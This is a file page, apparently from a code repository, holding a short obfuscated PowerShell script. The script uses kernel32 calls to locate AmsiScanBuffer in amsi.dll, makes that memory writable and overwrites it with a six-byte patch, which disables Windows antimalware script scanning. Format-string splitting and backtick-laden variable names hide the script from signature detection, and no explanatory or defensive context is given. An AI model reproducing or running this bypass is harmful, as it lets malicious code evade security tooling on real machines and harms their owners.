File size: 1,357 Bytes
abdd617
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
866d0d1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.('sV')  ("{0}{1}" -f 'K8','L') (  [TyPE]("{1}{0}"-f'In32','W'));  .("{0}{2}{3}{1}" -f 'Set-va','e','Riab','l') ('A'+'Fz8')  ([tYpe]("{4}{5}{3}{2}{6}{0}{1}"-f 'mARsh','al','M','nti','SYstE','m.Ru','E.iNtErOPSERVIces.') );${wI`N32} = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {

    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

}
"@

&("{1}{2}{0}"-f 'pe','A','dd-Ty') ${WI`N32}

${LO`Ad`L`ibRArY} =  (  &("{1}{0}"-f'iabLE','var')  ('k'+'8l') -vALu )::("{2}{1}{0}{3}"-f'ibrar','dL','Loa','y').Invoke("am" + ("{1}{0}"-f 'i.dll','s'))
${A`Ddr`eSs} =   (  .('Ls')  ("{1}{2}{3}{0}"-f '8L','VarI','ABL','e:K')  )."vA`LUe"::("{2}{3}{1}{0}"-f's','es','GetProcAdd','r').Invoke(${lOadlIB`RA`Ry}, ("{1}{0}" -f'si','Am') + ("{1}{0}"-f'can','S') + ("{2}{0}{1}" -f 'fe','r','Buf'))
${p} = 0
  ${K`8L}::"virTuAL`PRot`ECt"(${a`d`DrESS}, [uint32]5, 0x40, [ref]${p})
${p`At`Ch} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
 ( .("{1}{0}"-f'ABLE','Vari')  ('a'+'FZ8')  -valUeonly)::("{0}{1}"-f 'Cop','y').Invoke(${pAt`cH}, 0, ${adD`ReSs}, 6)